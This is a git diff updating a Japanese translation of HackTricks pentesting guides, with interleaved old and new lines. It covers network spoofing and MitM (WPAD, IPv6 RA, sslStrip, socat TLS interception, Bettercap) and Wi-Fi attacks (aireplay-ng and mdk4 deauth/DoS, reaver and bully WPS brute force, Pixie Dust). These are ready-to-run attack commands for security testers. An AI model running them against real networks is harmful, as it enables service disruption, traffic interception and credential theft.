Bonjour**および**Linuxゼロ構成**実装は、ネットワーク内のシステムを発見するために**マルチキャストDNS(mDNS)**を利用します。これらのプロトコルは認証されていないため、UDP上で動作し、メッセージをブロードキャストするため、攻撃者によって悪意のあるサービスにユーザーをリダイレクトするために悪用される可能性があります。 Responderを使用して、ホストが検索するサービスを偽の応答を送信することで、サービスを偽装することができます。\ -[Responderを使用したサービスの偽装に関する詳細情報はこちら](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を参照してください。 +[Responderを使用したサービスの偽装方法](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)に関する詳細情報はこちらを参照してください。 ### [WPADのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -ブラウザは一般的に**Web Proxy Auto-Discovery(WPAD)プロトコルを使用してプロキシ設定を自動的に取得**します。これには、特定のURL(たとえば "http://wpad.example.org/wpad.dat")を介してサーバーから構成詳細を取得することが含まれます。クライアントによるこのサーバーの発見は、さまざまなメカニズムを介して行われます。 +ブラウザは一般的に**Web Proxy Auto-Discovery(WPAD)プロトコルを使用してプロキシ設定を自動的に取得**します。これには、特定のURL(たとえば "http://wpad.example.org/wpad.dat")を介してサーバーから構成詳細を取得することが含まれます。クライアントによるこのサーバーの発見は、次のメカニズムを介して行われる可能性があります: -- **DHCP**を介して、特別なコード252エントリを利用して発見を促進します。 -- **DNS**を介して、ローカルドメイン内の _wpad_ というホスト名を検索します。 -- **Microsoft LLMNRおよびNBT-NS**を介して、DNSルックアップが成功しない場合に使用されるフォールバックメカニズムです。 +* **DHCP**を介して、特別なコード252エントリを利用して発見を促進します。 +* **DNS**により、ローカルドメイン内の _wpad_ というホスト名を検索します。 +* **Microsoft LLMNRおよびNBT-NS**を介して、DNS検索が成功しない場合に使用されるフォールバックメカニズム。 -ツールResponderは、**悪意のあるWPADサーバー**としてこのプロトコルを利用します。それはDHCP、DNS、LLMNR、およびNBT-NSを使用してクライアントを誤誘導します。Responderを使用してサービスを偽装する方法について詳しく知りたい場合は、[こちらをチェックしてください](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。 +ツールResponderは、**悪意のあるWPADサーバー**としてこのプロトコルを利用します。それはDHCP、DNS、LLMNR、およびNBT-NSを使用してクライアントを誤誘導します。Responderを使用してサービスを偽装する方法について詳しく知りたい場合は、[こちらをチェック](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)してください。 ### [SSDPおよびUPnPデバイスのスプーフィング](spoofing-ssdp-and-upnp-devices.md) -ネットワーク内で異なるサービスを提供して、ユーザーをだますことができます。**この攻撃に関する詳細情報は**[**SSDPおよびUPnPデバイスのスプーフィング**](spoofing-ssdp-and-upnp-devices.md)**にあります。** +ネットワーク内で異なるサービスを提供して、**ユーザーをだます**ことができます。**この攻撃に関する詳細情報は**[**SSDPおよびUPnPデバイスのスプーフィング**](spoofing-ssdp-and-upnp-devices.md)**で確認してください。** -### IPv6ネイバースプーフィング +### IPv6隣接スプーフィング この攻撃はARPスプーフィングに非常に似ていますが、IPv6の世界で行われます。被害者に、GWのIPv6が攻撃者のMACアドレスであると思わせることができます。 ```bash @@ -675,7 +672,7 @@ sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neigh ``` ### IPv6ルーター広告のスプーフィング/フラッディング -一部のOSは、ネットワーク内で送信されたRAパケットからゲートウェイをデフォルトで構成します。攻撃者をIPv6ルーターとして宣言するために使用できる方法: +一部のOSは、ネットワーク内で送信されたRAパケットからデフォルトでゲートウェイを構成します。攻撃者をIPv6ルーターとして宣言するためには、次のコマンドを使用できます: ```bash sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via dev wlan0 @@ -696,7 +693,7 @@ mitm6 ### sslStrip -この攻撃が行うことは、**ユーザー**が**HTTP**ページに**アクセス**しようとする場合、そのページが**HTTPS**バージョンに**リダイレクト**される場合に、**sslStrip**は**クライアントと**の間で**HTTP接続を維持**し、**サーバーと**の間で**HTTPS接続を確立**するため、接続を**平文**で**嗅ぎ取る**ことができます。 +この攻撃が行うことは、**ユーザー**が**HTTP**ページに**アクセス**しようとする場合、そのページが**HTTPS**バージョンに**リダイレクト**される場合に、**sslStrip**が**クライアントと**の間で**HTTP接続を維持**し、**サーバーと**の間で**HTTPS接続を確立**することです。これにより、**sslStrip**は接続を**平文**で**嗅ぎ取る**ことができます。 ```bash apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k @@ -709,18 +706,18 @@ iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT ### HSTSをバイパスするためのsslStrip+およびdns2proxy -**sslStrip**と**sslStrip+およびdns2proxy**の**違い**は、例えば_**www.facebook.com**_を_**wwww.facebook.com**_に**リダイレクト**し、このドメインの**アドレスを攻撃者IPに設定**する点です。これにより、**クライアント**は_**wwww.facebook.com**_(攻撃者)に**接続**しますが、裏では**sslstrip+**が**https**を介して**実際の接続**を**www.facebook.com**に維持します。 +**sslStrip+とdns2proxy**と**sslStrip**の**違い**は、例えば_**www.facebook.com**_を_**wwww.facebook.com**_に**リダイレクト**し、このドメインのアドレスを攻撃者のIPに設定する点です。これにより、**クライアント**は_**wwww.facebook.com**_(攻撃者)に**接続**しますが、裏では**sslstrip+**が**https**を介して**www.facebook.com**と**実際の接続**を**維持**します。 -この技術の**目的**は、_**wwww**.facebook.com_がブラウザの**キャッシュ**に保存されないため、ブラウザが**HTTPでfacebook認証を実行**するように騙すことです。\ -この攻撃を実行するには、被害者が最初に[http://www.faceook.com](http://www.faceook.com)にアクセスしようとする必要があり、httpsではないことに注意してください。これは、httpページ内のリンクを変更することで行うことができます。 +この技術の**目的**は、_**wwww**.facebook.com_がブラウザの**キャッシュ**に保存されないため、ブラウザが**HTTP**で**facebook認証**を実行するように騙すことです。\ +この攻撃を行うためには、被害者が最初に[http://www.faceook.com](http://www.faceook.com)にアクセスしようとする必要があり、httpsではないことに注意してください。これは、httpページ内のリンクを変更することで行うことができます。 詳細は[こちら](https://www.bettercap.org/legacy/#hsts-bypass)、[こちら](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014)、および[こちら](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)。 -**sslStripまたはsslStrip+はもはや機能しません。これは、ブラウザに事前保存されたHSTSルールがあるためです。したがって、ユーザーが"重要な"ドメインに初めてアクセスする場合でも、HTTPSでアクセスします。また、事前保存されたルールや他の生成されたルールには** [**`includeSubdomains`**](https://hstspreload.appspot.com) **フラグを使用できるため、以前の** _**wwww.facebook.com**_ **の例はもはや機能しません。** _**facebook.com**_ **は`includeSubdomains`を使用してHSTSを使用しているためです。** +**sslStripまたはsslStrip+はもはや機能しません。これは、ブラウザに事前保存されたHSTSルールがあるためです。したがって、ユーザーが「重要な」ドメインに初めてアクセスする場合でも、HTTPSでアクセスします。また、事前保存されたルールや他の生成されたルールには、**`includeSubdomains`**フラグを使用できることに注意してください。そのため、以前の_**wwww.facebook.com**_の例は機能しなくなります。_**facebook.com**_は`includeSubdomains`を使用してHSTSを使用しているためです。 TODO: easy-creds、evilgrade、metasploit、factory -## ポートでのTCPリスン +## ポートでのTCPリッスン ```bash sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr - @@ -746,9 +743,9 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` クライアントがCAが有効であるかどうかをチェックする場合、**CAによって署名された他のホスト名の証明書を提供**することがあります。\ -もう1つの興味深いテストは、**リクエストされたホスト名の証明書を自己署名**で提供することです。 +もう1つの興味深いテストは、リクエストされたホスト名の**セルフ署名証明書を提供**することです。 -他にテストすることは、有効なCAでない有効な証明書で証明書に署名しようとすることです。また、有効な公開鍵を使用して証明書に署名し、ディフィー・ヘルマンなどのアルゴリズムを使用するよう強制し、クライアントが実際の秘密鍵で何も復号化する必要がないアルゴリズムを使用し、クライアントが実際の秘密鍵のプローブ(ハッシュなど)をリクエストすると、偽のプローブを送信し、クライアントがこれをチェックしないことを期待することです。 +他にテストすることは、有効なCAでない有効な証明書で証明書に署名しようとすることです。また、有効な公開鍵を使用して証明書に署名し、ディフィー・ヘルマンなどのアルゴリズムを使用するように強制し、クライアントが実際の秘密鍵で何も復号化する必要がないものを要求するときに、クライアントがこれをチェックしないことを期待して、実際の秘密鍵のプローブ(ハッシュなど)のリクエスト時に偽のプローブを送信することです。 ## Bettercap ```bash @@ -786,7 +783,7 @@ ARPパケットはネットワーク内で使用されているIPアドレスを ### **mDNS(マルチキャストDNS)** -Bettercapは、**\_services\_.dns-sd.\_udp.local**を要求するMDNSリクエスト(Xミリ秒ごと)を送信し、このパケットを受信したマシンは通常このリクエストに応答します。その後、「services」に応答するマシンのみを検索します。 +Bettercapは、**\_services\_.dns-sd.\_udp.local**を要求するMDNSリクエスト(Xミリ秒ごと)を送信します。このパケットを見たマシンは通常このリクエストに応答します。その後、"services"に応答するマシンのみを検索します。 **ツール** @@ -796,7 +793,7 @@ Bettercapは、**\_services\_.dns-sd.\_udp.local**を要求するMDNSリクエ ### **NBNS(NetBios Name Server)** -Bettercapは、名前「CKAAAAAAAAAAAAAAAAAAAAAAAAAAA」を要求するためにポート137/UDPにブロードキャストパケットを送信します。 +Bettercapは、名前"CKAAAAAAAAAAAAAAAAAAAAAAAAAAA"を要求するためにポート137/UDPにブロードキャストパケットを送信します。 ### **SSDP(Simple Service Discovery Protocol)** @@ -814,20 +811,20 @@ Bettercapは、サービスを検索するためにWSDパケットをブロー * [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) \ -**バグバウンティのヒント**: **Intigriti**に**サインアップ**して、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**である**Intigriti**に参加しましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**して、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**で**最大$100,000**のバウンティを稼ぎましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加してください! {% embed url="https://go.intigriti.com/hacktricks" %} -ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**するには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する +* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する diff --git a/generic-methodologies-and-resources/pentesting-wifi/README.md b/generic-methodologies-and-resources/pentesting-wifi/README.md index 8ab2d7d6f..20fa4ed6e 100644 --- a/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -2,32 +2,32 @@ -**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ** こちら! +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学ぶ こちら! HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください**。** -* **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。 - + -[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! +**HackenProof Discord**サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! **ハッキングの洞察**\ -ハッキングのスリルと挑戦に深く入り込むコンテンツに参加 +ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する **リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく +リアルタイムのニュースと洞察を通じて、ハッキングの世界のペースに遅れずについていく **最新の発表**\ -最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手 +最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得る -**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう!** +**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加**して、今日からトップハッカーと協力を始めましょう! ## Wifi基本コマンド ```bash @@ -53,7 +53,7 @@ git clone https://github.com/s0lst1c3/eaphammer.git ``` ### Airgeddon -Airgeddonは、無線ネットワークの監査、攻撃、テスト、およびセキュリティオプションを提供する多機能ツールです。 +Airgeddonは、Wi-Fiネットワークのペンテストに使用されるオールインワンのスクリプトです。このツールは、さまざまな攻撃を実行し、WPA/WPA2パスワードをクラックするためのさまざまな方法を提供します。 ```bash mv `which dhcpd` `which dhcpd`.old apt install isc-dhcp-server @@ -84,40 +84,39 @@ sudo python setup.py install # Install any dependencies このツールは**WPS/WEP/WPA-PSK**攻撃を自動化します。自動的に以下を行います: -- インターフェースをモニターモードに設定します -- 可能なネットワークをスキャンし、被害者を選択できます -- WEPの場合 - WEP攻撃を開始します +- インターフェースをモニターモードに設定する +- 可能なネットワークをスキャンし、被害者を選択できるようにする +- WEPの場合はWEP攻撃を実行する - WPA-PSKの場合 - WPSの場合:Pixieダスト攻撃とブルートフォース攻撃(ブルートフォース攻撃には時間がかかる可能性があるため注意が必要です)。ヌルPINやデータベース/生成されたPINは試しません。 -- APからPMKIDをキャプチャしてクラックを試みます -- APのクライアントを切断してハンドシェイクをキャプチャしようとします -- PMKIDまたはハンドシェイクがある場合、top5000のパスワードを使用してブルートフォース攻撃を試みます。 +- APからPMKIDをキャプチャしてクラックしようとする +- APのクライアントを切断してハンドシェイクをキャプチャしようとする +- PMKIDまたはハンドシェイクがある場合、top5000のパスワードを使用してブルートフォース攻撃を試みる ## 攻撃の概要 - **DoS** - - サービス拒否 - - Deauthentication/disassociation -- すべての人を切断します(または特定のESSID/クライアント) - - ランダムな偽のAP -- ネットワークを隠し、スキャナーをクラッシュさせる可能性があります - - APの過負荷 -- APを破壊しようとします(通常はあまり役に立ちません) + - Deauthentication/disassociation -- すべての人を切断する(または特定のESSID/クライアント) + - ランダムな偽のAP -- ネットを隠し、スキャナーをクラッシュさせる可能性がある + - APを過負荷にする -- APを破壊しようとする(通常あまり役に立たない) - WIDS -- IDSと遊ぶ - TKIP、EAPOL -- 一部のAPをDoSするための特定の攻撃 - **クラッキング** - - **WEP**のクラック(複数のツールと方法) + - **WEP**をクラックする(複数のツールと方法) - **WPA-PSK** - - **WPS**ピン「ブルートフォース」 - - **WPA PMKID**のブルートフォース - - \[DoS +] **WPAハンドシェイク**のキャプチャ + クラック + - **WPS** PIN "Brute-Force" + - **WPA PMKID** ブルートフォース + - \[DoS +] **WPAハンドシェイク** キャプチャ + クラック - **WPA-MGT** - **ユーザー名のキャプチャ** - - **ブルートフォース**資格情報 + - **Bruteforce** 資格情報 - **Evil Twin**(DoSあり/なし) - - **オープン**Evil Twin \[+ DoS] -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を実行するのに役立ちます - - **WPA-PSK** Evil Twin -- パスワードを知っている場合にネットワーク攻撃に役立ちます - - **WPA-MGT** -- 企業の資格情報をキャプチャするのに役立ちます + - **Open** Evil Twin \[+ DoS] -- キャプティブポータルの資格情報をキャプチャしたりLAN攻撃を実行するのに役立つ + - **WPA-PSK** Evil Twin -- パスワードを知っている場合にネットワーク攻撃に役立つ + - **WPA-MGT** -- 企業の資格情報をキャプチャするのに役立つ - **KARMA, MANA**, **Loud MANA**, **Known beacon** - - **+ オープン** -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を実行するのに役立ちます - - **+ WPA** -- WPAハンドシェイクをキャプチャするのに役立ちます + - **+ Open** -- キャプティブポータルの資格情報をキャプチャしたりLAN攻撃を実行するのに役立つ + - **+ WPA** -- WPAハンドシェイクをキャプチャするのに役立つ ## DOS @@ -125,7 +124,7 @@ sudo python setup.py install # Install any dependencies **ここからの説明**: [**こちら**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** -**Deauthentication**攻撃は、Wi-Fiハッキングで一般的な方法で、"管理"フレームを偽造してデバイスをネットワークから**強制的に切断**することを含みます。これらの暗号化されていないパケットは、クライアントを正規のネットワークから来たものと信じ込ませ、攻撃者がWPAハンドシェイクを収集してクラックするため、またはネットワーク接続を持続的に妨害するために使用されます。この単純さにもかかわらず、広く使用されており、ネットワークセキュリティに重要な影響を与えています。 +**Deauthentication**攻撃は、Wi-Fiハッキングで一般的な方法であり、"管理"フレームを偽造してデバイスをネットワークから**強制的に切断**することを含みます。これらの暗号化されていないパケットは、クライアントを正規のネットワークからのものと信じ込ませ、攻撃者がWPAハンドシェイクを収集してクラックするため、またはネットワーク接続を持続的に妨害するために使用されます。この単純さにもかかわらず、広く使用されており、ネットワークセキュリティに重要な影響を与えています。 **Aireplay-ngを使用したDeauthentication** ``` @@ -134,14 +133,14 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 * \-0 は切断を意味します * 1 は送信する切断の数です(複数送信することもできます);0 は連続して送信します * \-a 00:14:6C:7E:40:80 はアクセスポイントのMACアドレスです -* \-c 00:0F:B5:34:30:30 は切断するクライアントのMACアドレスです;これを省略するとブロードキャスト切断が送信されます(常に機能しない場合があります) +* \-c 00:0F:B5:34:30:30 は切断するクライアントのMACアドレスです;これを省略するとブロードキャスト切断が送信されます(常に機能するわけではありません) * ath0 はインターフェース名 ### 切断パケット -**切断パケット**は、Wi-Fiネットワークで使用される管理フレームの一種であり、切断パケットは、デバイス(ラップトップやスマートフォンなど)とアクセスポイント(AP)との接続を切断するために使用されます。切断と切断の主な違いは、使用シナリオにあります。APは**不正なデバイスをネットワークから明示的に削除するために切断パケットを送信しますが、切断パケットは通常、APがシャットダウン、再起動、または移動中であり、それによりすべての接続されたノードを切断する必要がある場合に送信されます**。 +**切断パケット**は、Wi-Fiネットワークで使用される管理フレームの一種であり、切断パケットは、デバイス(ラップトップやスマートフォンなど)とアクセスポイント(AP)との接続を切断するために使用されます。切断と切断の主な違いは、使用シナリオにあります。APは、**不正なデバイスをネットワークから明示的に削除するために**切断パケットを送信しますが、APがシャットダウン、再起動、または移動中である場合、すべての接続されたノードを切断する必要があるため、通常は切断パケットが送信されます。 -**この攻撃はmdk4(モード"d")によって実行できます:** +**この攻撃はmdk4(モード "d")によって実行できます:** ```bash # -c # -b victim_client_mac.txt contains the MAC address of the device to eliminate @@ -176,11 +175,11 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m ``` **攻撃モード p: SSIDプロービングとブルートフォース** -アクセスポイント(AP)のプロービングは、SSIDが適切に公開されているかを確認し、APの範囲を確認します。このテクニックは、単語リストを使用してまたは使用せずに**非表示のSSIDをブルートフォース**することで、隠されたネットワークを特定およびアクセスするのに役立ちます。 +アクセスポイント(AP)のプロービングは、SSIDが適切に公開されているかをチェックし、APの範囲を確認します。このテクニックは、単語リストを使用してまたは使用せずに**非表示のSSIDをブルートフォース**することで、隠されたネットワークを特定およびアクセスするのに役立ちます。 **攻撃モード m: マイケル対策の悪用** -異なるQoSキューにランダムまたは重複パケットを送信すると、**TKIP AP**でマイケル対策がトリガーされ、1分間のAPシャットダウンが発生します。この方法は、効果的な**DoS**(サービス拒否)攻撃戦術です。 +ランダムまたは重複したパケットを異なるQoSキューに送信すると、**TKIP AP**でマイケル対策がトリガーされ、1分間のAPシャットダウンが発生します。この方法は、効果的な**DoS**(サービス拒否)攻撃戦術です。 ```bash # -t of a TKIP AP # -j use inteligent replay to create the DoS @@ -193,13 +192,13 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j] # Use Logoff messages to kick clients mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] ``` -**攻撃モード s: IEEE 802.11s メッシュネットワーク向けの攻撃** +**ATTACK MODE s: IEEE 802.11sメッシュネットワーク向けの攻撃** メッシュネットワークにおけるリンク管理やルーティングに対するさまざまな攻撃。 -**攻撃モード w: WIDS 混乱** +**ATTACK MODE w: WIDS混乱** -クライアントを複数の WDS ノードや偽のローグ AP にクロス接続することで、侵入検知および防止システムを操作し、混乱を引き起こし、潜在的なシステム乱用をもたらすことができる。 +クライアントを複数のWDSノードや偽のローグAPにクロス接続することで、侵入検知および防止システムを操作し、混乱を引き起こし、潜在的なシステム乱用を引き起こすことができる。 ```bash # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) mkd4 -e -c [-z] @@ -210,22 +209,22 @@ mkd4 -e -c [-z] ### **Airggedon** -_**Airgeddon**_ は、前のコメントで提案された攻撃のほとんどを提供します: +_**Airgeddon**_ は、前のコメントで提案された攻撃のほとんどを提供しています: -![](<../../.gitbook/assets/image (126).png>) +![](<../../.gitbook/assets/image (95).png>) ## WPS -WPS(Wi-Fi Protected Setup)は、**WPA**または**WPA2** Personalで暗号化されたネットワークのセットアップ速度と簡単さを向上させるために、デバイスをルーターに接続するプロセスを簡素化します。WEPセキュリティは簡単に侵害されるため、WPSは効果がありません。WPSは、2つの半分で検証される8桁のPINを使用し、組み合わせの数が限られているため、総当たり攻撃に対して脆弱です(11,000通りの可能性)。 +WPS(Wi-Fi Protected Setup)は、**WPA**または**WPA2** Personalで暗号化されたネットワークのセットアップ速度と簡単さを向上させるために、デバイスをルーターに接続するプロセスを簡素化します。WEPセキュリティでは簡単に侵害されるため、効果がありません。WPSは、2つの半分に分かれた8桁のPINを使用し、組み合わせの数が限られているため、総当たり攻撃に対して脆弱です(11,000通りの可能性)。 ### WPSブルートフォース -このアクションを実行するための主要なツールは2つあります: ReaverとBully。 +このアクションを実行するための主なツールは2つあります: ReaverとBully。 * **Reaver** は、WPSに対する堅牢で実用的な攻撃を行うよう設計されており、さまざまなアクセスポイントとWPSの実装に対してテストされています。 -* **Bully** は、Cで書かれたWPSブルートフォース攻撃の**新しい実装**です。オリジナルのreaverコードよりもいくつかの利点があります: 依存関係が少ない、メモリとCPUのパフォーマンスが向上している、エンディアンの処理が正しく行われている、より堅牢なオプションが用意されています。 +* **Bully** は、Cで書かれたWPSブルートフォース攻撃の**新しい実装**です。オリジナルのreaverコードよりもいくつかの利点があります: 依存関係が少ない、メモリとCPUのパフォーマンスが向上している、エンディアンの正しい処理、より堅牢なオプションのセット。 -この攻撃は、特にWPS PINの脆弱性を悪用しており、最初の4桁が露出しており、最後の桁がチェックサムとしての役割を果たしているため、総当たり攻撃が容易になっています。ただし、攻撃を継続するために、攻撃者のMACアドレスを**ブロック**するなどの総当たり攻撃に対する防御策は、**MACアドレスのローテーション**を要求します。 +この攻撃は、特にWPS PINの脆弱性を悪用しており、最初の4桁の露出と最後の桁のチェックサムとしての役割により、総当たり攻撃が容易になっています。ただし、攻撃者のMACアドレスを**ブロック**するなどの総当たり攻撃に対する防御策は、攻撃を継続するために**MACアドレスのローテーション**を要求します。 BullyやReaverなどのツールを使用してWPS PINを取得した後、攻撃者はWPA/WPA2 PSKを推測し、**持続的なネットワークアクセス**を確保できます。 ```bash @@ -236,26 +235,25 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 この洗練されたアプローチは、既知の脆弱性を利用してWPS PINをターゲットにします: -1. **事前に発見されたPIN**: 特定のメーカーが一貫して使用する既知のPINのデータベースを活用します。このデータベースは、MACアドレスの最初の3つのオクテットをこれらのメーカーのための可能性のあるPINに関連付けます。 -2. **PIN生成アルゴリズム**: ComputePINやEasyBoxなどのアルゴリズムを活用します。これらは、APのMACアドレスに基づいてWPS PINを計算します。Arcadyanアルゴリズムには、デバイスIDが追加され、PIN生成プロセスにレイヤーが追加されます。 +1. **事前に発見されたPIN**: 特定のメーカーが一貫して使用するWPS PINに関連付けられた既知のPINのデータベースを利用します。このデータベースはMACアドレスの最初の3つのオクテットをこれらのメーカーのための可能性のあるPINと関連付けます。 +2. **PIN生成アルゴリズム**: ComputePINやEasyBoxなどのアルゴリズムを活用します。これらはAPのMACアドレスに基づいてWPS PINを計算します。ArcadyanアルゴリズムにはデバイスIDが追加され、PIN生成プロセスにレイヤーが追加されます。 ### WPS Pixie Dust攻撃 -**Dominique Bongard** は、一部のアクセスポイント(AP)における秘密コードの作成に関する欠陥を発見しました。これらは**ノンス**(**E-S1**および**E-S2**)として知られています。これらのノンスを特定できれば、APのWPS PINをクラックすることが容易になります。APは、PINを特別なコード(ハッシュ)で公開し、それが正規で偽(ローグ)APでないことを証明します。これらのノンスは、実質的にWPS PINを保持する「セーフ」を開くための「鍵」です。詳細は[こちら](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))で確認できます。 +**Dominique Bongard** は、一部のアクセスポイント(AP)における秘密コードの作成に関する欠陥、**ノンス**(**E-S1**および**E-S2**)を発見しました。これらのノンスが特定できれば、APのWPS PINをクラックすることが容易になります。APは、PINを特別なコード(ハッシュ)で公開し、それが正規で偽(ローグ)APでないことを証明します。これらのノンスは、実質的にWPS PINを保持する「セーフ」を開くための「鍵」です。詳細は[こちら](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))で確認できます。 -簡単に言うと、問題は、一部のAPが接続プロセス中にPINを暗号化するための十分にランダムでないキーを使用していなかったことです。これにより、PINがネットワーク外から推測されやすくなりました(オフラインブルートフォース攻撃)。 +簡単に言うと、問題は、一部のAPが接続プロセス中にPINを暗号化するために十分にランダムなキーを使用していなかったことです。これにより、PINがネットワーク外から推測されやすくなりました(オフラインブルートフォース攻撃)。 ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 ``` -もしデバイスをモニターモードに切り替えたくない場合や、`reaver`や`bully`に問題がある場合は、[OneShot-C](https://github.com/nikita-yfh/OneShot-C)を試すことができます。 -このツールは、モニターモードに切り替える必要なくPixie Dust攻撃を実行することができます。 +もしデバイスをモニターモードに切り替えたくない場合、または `reaver` と `bully` に問題がある場合は、[OneShot-C](https://github.com/nikita-yfh/OneShot-C) を試してみてください。このツールは、モニターモードに切り替える必要なく、Pixie Dust攻撃を実行することができます。 ```bash ./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37 ``` -### Null Pin attack +### Null Pin 攻撃 -いくつかの設計が甘いシステムは、**Null PIN**(空のまたは存在しないPIN)でもアクセスを許可してしまうことがあり、これはかなり珍しいです。**Reaver**ツールは、**Bully**とは異なり、この脆弱性をテストすることができます。 +いくつかの設計が甘いシステムでは、**Null 